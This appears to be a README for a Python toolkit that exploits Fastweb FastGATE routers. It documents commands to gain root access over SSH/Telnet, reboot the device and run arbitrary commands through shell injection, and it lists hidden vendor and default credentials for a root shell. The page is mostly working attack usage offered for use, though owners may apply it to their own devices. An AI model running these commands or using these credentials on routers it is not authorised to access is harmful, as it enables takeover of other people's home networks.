https://github.com/Nimayer/fastgate-toolkit/wiki
Python tools for Fastweb FastGATE exploits.
Usage: fastgate [OPTIONS] COMMAND [ARGS]...
Options:
-h, --host TEXT IP address or hostname
-p, --port INTEGER HTTP port
--help Show this message and exit.
Commands:
check_login Check web UI authentication.
get_root Attempt to enable access to SSH/Telnet.
reboot Reboot router.
shell Run command on router with shell injection...
pip install https://github.com/Depau/fastgate-python/archive/master.zip
fastgate get_root
You can then SSH to the router. Log in as lanadmin
, lanpasswd
.
In the router's custom shell, run the sh
hidden command and log in as lanadmin
, lanpasswd
or FASTGate
, Testplant123
to get a root shell.
fastgate reboot
fastgate shell (command)
# i.e.
fastgate shell /usr/sbin/rc_task firewall restart
fastgate shell /usr/sbin/rc_task sshd restart
fastgate check_login --u username -p password
or simply
fastgate check_login
(you will be prompted for login info)